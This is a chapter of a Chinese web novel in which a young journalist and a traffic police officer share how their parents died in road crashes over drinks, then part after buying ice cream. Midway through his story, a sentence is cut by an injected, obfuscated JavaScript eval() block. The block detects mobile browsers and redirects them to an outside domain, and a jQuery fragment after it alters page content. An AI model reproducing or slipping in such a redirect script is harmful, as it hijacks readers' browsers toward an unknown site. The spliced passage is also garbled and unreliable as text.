况野生平第一次跟一个女人互剖心事。
对方是一个单看外表极其不合适,实质上却很靠谱的对象。
他们捏着盈满晶莹液体的小酒杯轻轻碰了一下。
戚许开口:“Ladyfirst。”
她好不容易鼓起勇气重新回顾一下自己经历极为丰富戏剧性的前十八年,怕的是一鼓作气再而衰三而竭。
不趁着这股热血上头的劲儿,就会像是畏光的鼹鼠,重新缩回漆黑盲目的地洞中去。
人是需要倾诉的动物,她趁着跟况野“交换”的机会,重新确认自己在做什么,想做什么,也挺好的。
她一直选择性忽略掉那些被她定义为“瑕疵”的,隐藏在暗处的人和事。
可那些不会因为她的假装而真正不存在。
口腔、喉头的热度还没完全消褪。
“我妈妈,就是你见过一次的,那个到死都在保护我的女人,叫戚静蓉,她生前一直是森城电视台的新闻记者。
她......曾经一度在网络上有一些知名度,我不知道这与她的去世有没有关系,但我爸,是这么告诉我的。”
戚许的妈妈姓戚,那她是随了妈妈姓,况野推测。
“哦,我爸,你们交警应该多多少少跟他打过交道,他叫许宏图。就是我能认出的,车牌上标志归属的公司,宏图物流的老板。”
这个父母姓氏组合的,又有相当积极含义的名字。
很容易让人感受到,为自己女儿起这个名字的夫妻俩,一定鹣鲽情深,并且有强烈意愿向全世界宣告,他们是最完美的一家。
“就像他们给我起的这个名字一样,在发生那场车祸以前,我觉得我是全世界最幸福的小孩。我这样说可能是有一点点自恋哈。”
戚许又给自己倒了一杯,没急着往嘴边送,盯着那液体里倒映的晃动灯光。
“说自恋是因为,我那些年都有种春风得意的感觉。没有辜负爸妈的期望,所有人都夸我是集合了他们两个人身上所有的优点。
他们俩,年轻的时候男帅女美,除了我爸家境、文化水平远不如我妈,堪称神仙眷侣了。因为我爸答应,生的孩子跟我妈姓,我姥姥姥爷才同意他们结婚。
我爸也挺争气,他一开始只是个货车司机,结婚以后觉得司机工资还是低。所以贷款买了第一辆车开始自己跑运输,发展到第二辆、第三辆......后来又赶上电商发展起来了,快递物流业配套的也就跟着生意火爆,没几年,他就成了森城本地的纳税大户。
他除了有上进心,还有个优点就是对我妈好,无条件支持她。我妈不是多么追求功成名就,只是对新闻很有热情,也一直保持着这种热情,所以她不算是个顾家、贤惠的女人,甚至忙起来的时候,我们俩都不怎么能见到她。
我记事的时候呢,家里条件已经好起来了,后面越来越好。我拥有恩爱且开明的父母,他们各自事业都算成功,家庭氛围轻松且物质条件优渥,还有从他们那里继承来的优质的外貌基因。
唯一的烦恼就是物理好难学,怎么补课好像效果都不大,还有就是......”
她睫毛掀动,目光带一丝狡黠地像缓慢流动的水一样,从况野发际、额头、高鼻深目的轮廓和略显薄情的嘴唇、性感的下巴依次略过。
幼态的外貌却很神奇地与酒后妩媚的眼神极适配。
况野顿感喉头发紧,紧急拿过手边最近的杯子给自己灌了下去。
品觉舌尖灼热才意识到是酒。
“还有就是,隔壁班那个校草级的帅哥到底喜不喜欢我。”
况野食指背触了下嘴唇,“咳,后来呢?”
“就这样一直到你救到我的那个暑假啊,我高考成绩还行,虽然偏科,还是考上了一所985学校的新传专业。说实话吧,我那时候其实没像现在一样,对记者这工作这么坚定执着,因为不需要考虑毕业之后的收入问题,选择专业全凭兴趣。
虽然外面人对妈妈褒贬不一,但在我眼里她不仅是个好妈妈,还是个很值得我崇拜的职业女性。她是我的偶像,所以我也想做跟她一样的事情,一样酷。
一路去追逐真相,一直在探索解密。
有趣,又刺激,还很有成就感。”
戚许笑一笑:“况且我又喜欢八卦嘛,做记者就是要把自己调查出来的真相、故事,传播出去,讲给更多人听。”
“哦,为什么要选择这样一条不算好走的路。
是在我妈去世之后,变得坚定不移的。因为许宏图告诉我,我妈是曝了不该曝的新闻。他说,断人财路犹如杀人父母,所以我妈遭到了报复。
我不相信他说的这个原因,因为我妈去世之后,他火速再婚,婚礼上,新娘已经显怀了。而我像是被丢掉的垃圾一样,都不知道他什么时候办好的所有手续,把我送出了国。
他给我的卡里存了几乎够这辈子挥霍的数字,却威胁我,这一切都建立在我不能再回国的基础上,不然我就会变得一无所有。
那些年,一直是姨夫姨妈带着邵珩或者是乔乔来看我。我一次都没回来,也不仅仅是怕成为穷光蛋。
森城对我来说是故乡,也是充满回忆的地方,我没有勇气面对,那些充斥着我和妈妈,曾经圆满的一家三口的回忆的地方,到现在只剩下我一个人。所以我逃避了六年。
可是,我真的很想知道,或者是验证,妈妈到底是不是因为坚持一个记者的本分,才会死的。
妈妈对我,其实是没有什么要求的,所以我也算不上继承她的遗志。
我就是想试试,成为跟她一样的人是什么感觉,也想在做到那个高度之后,如果有机会,再去触碰一下所谓的,她遭人报复的真相。”
虽然知道很可能是白问,况野还是忍不住:“当年,警察怎么说?”
戚许摊一摊手:“被人为精巧设计出的意外,也可以叫意外。他们找到了肇事逃逸的车辆和司机,能够确认,司机确实偶然经过那段路,与我们家所有人都没有任何接触和交叉。虽然他算是药驾,也付了相应的刑事责任,可究根结底,也只能判定是交通肇事。
即便,我更愿意将它认定成一件,”戚许只做口型,不出声,“谋|杀。”
慢慢来其实是一句最没用的安慰,可他现在也只能,“慢慢来。”
戚许自嘲,“是啊,人都没了,也没什么可急的。”
这种时候,其实很适合表衷心。
男人的豪情壮志很轻易就会被身世凄楚,容貌美丽,又对自身困境无能为力的柔弱女子所激发。
况野觉得这是一种劣根性,不过这并不妨碍,有那么一瞬间,面对说到母亲整个人显得易碎、无助的戚许,他胸腔内也会升起这样的万丈壮怀。
但还好,他一向对自己的自制力有信心,所以能够控制住自己险些喷薄而出的,事后想起来会令人发噱的胡言乱语。
而且,抑制住了把她搁在桌子上的手拢在手心的冲动。
戚许回顾完生平,再次在微信上跟小微确认了一下采访。
她也知道自己这样会让人感觉很啰嗦,可她就是控制不了。
就算是定好的事情,也得一遍遍反复确认。
自己归纳的原因是,似乎可以从对方一遍遍确定的答复里,汲取一点信心和安全感。
她也不算是个悲观的人,只是很长时间以来,确实很难建立信任感。
毕竟,连她以为全世界最爱她的人,能够亲手将她以为的“幸福家庭”这个假象击得粉碎。
她指尖捏着小酒杯,准备将酒液再次送入嘴里。
手腕被对面的况野拉住。
“行了,轮到我了。”
他轻巧地取过杯子,怕人觉得唐突,没直接用,把酒液倒入自己的杯子。
给她倒了一杯店老板赠送的凉茶。
其实不确定“比惨”这方法有没有用,可他眼下能想到的,或许能让她好受一点的,也就只有——
“你妈妈其实应该感到欣慰的,她去世前努力在做的最后一件事是保护你,让你能不受伤,好好的活下去。
她做到了。”
戚许抬起胳膊,做了个大力水手的姿势。
“我现在活得很好哦。”
“对,所以我想,她应该是没有什么遗憾的。而且能被人这样豁出命地爱着,其实挺幸福的。
比如,像我。他们应该给你讲了一些我家里的事吧?
我应该算是,事实上的孤儿吧,在我奶奶去世之后。但这么说好像又不对,因为我知道,我妈还活着,只是不知道她在哪里,过得怎么样,还......记不记得我。
哦,我为什么一定要做交警,也跟这个有关系。
跟金柱一样,我们都是受过老梁恩惠的孩子。”
戚许稍稍疑惑地眯了下眼睛,据她所知,况野是N省人,那个网络不发达的年代,老梁怎么找到相隔万里的资助对象的。
啧,这酒还是辣。
况野“嘶”了声,放一放口腔里的灼烫气息。
他已经迅速领会戚许的疑惑,继续:“不是作为资助上学的对象。我小时候是留守儿童,爸妈就在森城打工的。
六岁那年,因为上了小学,也赶上生日,他们把我接了过来,给我买书包、文具、课外书,都是当时对我来说挺稀罕的东西。我记得我真的很高兴,可是也真的很贪心。
有了这么多,我还想吃一个奶油蛋糕。因为从没见过实物,只在电视里看到,有人过生日的时候吃,觉得那又漂亮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651620|172658||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又一定很美味。
所以我跟爸妈提了这个要求,他们一开始顾忌价格也有点犹豫,后来耐不住我的哀求,还是同意了给我买。
我爸是个货车司机,我妈在服装店卖女装,相比我爸来说下班早一些。所以我生日那天,是她先下班去买菜,回家做饭,我爸下班的时候把生日蛋糕带回来。
可是那天,饭都做好了,我们等到很晚,我爸都没有回来。天都黑透了的时候,我妈接到电话,说我爸在医院抢救。
我妈带着我赶去医院,我爸人已经没了,所有仪器都撤了,就那么安静地躺在那儿。
在医院的其中一个交警就是老梁,他陪着已经完全崩溃的我妈办完了所有手续,还抱着我安慰我。
听人说,我爸是在买完蛋糕回家的路上发生的车祸,那是一起连环车祸,他是被夹在中间的。
我爸是个挺细心的人,拿到驾照到死前,一直没有肇过事,违章记录都没有。
可以说,如果那天他不走那条路,他可以不用死的。
是我要吃蛋糕,他去给我买,才会有后面这一切。
我妈消失在我爸火化当天,人都没炼完,她就在火葬场凭空消失了,我以为她只是去了厕所,在大厅等,结果她一直没有回来。
费用当然也没有缴,人就这样完全不见了,也没有留下联系方式。
最后,是老梁缴了费用,买了骨灰盒,还帮我联系了家里的奶奶,给我买了火车票,一直把我送上车。”
戚许想象着,那个小身影抱着自己父亲的骨灰,坐着长途绿皮火车回家的样子。
“我那时候只觉得,交警叔叔真好啊,很厉害,好像没有做不到的事,而且还能不图回报的照顾我。
我只想,长大以后也成为这样的大人。”
“所以,长大后,你就成了他。”
况野不知不觉,喝掉了剩下的大半瓶酒,一点醉意也没有,还能借着酒精挥发,吐一吐胸腔内的淤气。
像翻出了打满补丁的旧被子,让它晒晒太阳光。
“我只是抱着试一试的心态,报考了森城的交警,能被分配到跟老梁一起工作,是意外的惊喜。”
包括,也是因为这份工作,跟戚许的相处,也是惊喜。
戚许端起凉茶杯子,最后跟他碰一下。
“吃饱了也喝足啦,我们都有自己行业里的偶像,我们都努力着呐。让我们提前祝贺,都有光明的未来!”
她这是化用了1998年《新华字典》里的那个例句,原文早记不得了,只是莫名觉得这个梗放在这里很合适。
那种感伤的情绪已经在她身上消失,又恢复了常见的笑嘻嘻状态。
因店老板坚决不接受戚许的买单,这一顿还是由况野请客。
出门之后,按戚许的计划,两人去找共享单车。
戚许在前面倒退着走,端详况野:“你真的没醉吧?喝醉的人好像走路都会摔倒有危险的,应该不能骑车。”
况野平静地把她往人行道中间拉了拉,“我觉得咱俩相比起来,现在你比较危险。”
按照APP里的定位,他们走出二三百米便找到停车点。
之前都没有用过这类交通工具,注册、购买骑行卡用去一点时间。
路边饮料店的广播里循环播放着各种促销信息,其中冰淇淋买一赠一。
戚许解锁自行车前,跑去买了两只,回来塞到况野手里一只。
“有便宜不占王八蛋,这家挺好吃的,偶尔也得排队呢。请你吃这个是赠品。”
冰淇淋蛮小一个,两个人倚靠着街边的栏杆,决定吃完再出发。
可能是今晚提及妈妈次数太多,她能够部分脱敏了。
戚许一边吃冰淇淋,一边给况野演示。
“我小时候吃冰淇淋这类软的食物,不会咬,只会啃,就这样啊呜一大口。”说着,她张大嘴巴咬了一口。
“然后就像那个,猫咪吃冰的表情一样,低温让我呆滞了。”做出目光呆滞,表情僵住的样子。
“我妈就告诉我,舔着吃,但我觉得有点像小狗嗷,这动作。”她伸出舌尖一点点舔舐。
况野那股子不自在的劲儿又窜上来,他大口大口咬着冰淇淋,想把自己冻傻。
戚许混然未觉这动作在一个正常年轻男性眼里的意味,“哈哈哈,你也觉得像狗吧。”
吃完冰淇淋,他们扫了车,因方向相反,在路口分别。
戚许率先拐过弯,刹住,朝况野挥挥手。
“放心放心,到家会报平安的!”
况野点点头。
她骑的速度不慢,风吹得发丝向后飘动,让他想起,同样迎风飞舞的细嫩草叶。
细嫩,却盈满绿意,生机勃勃。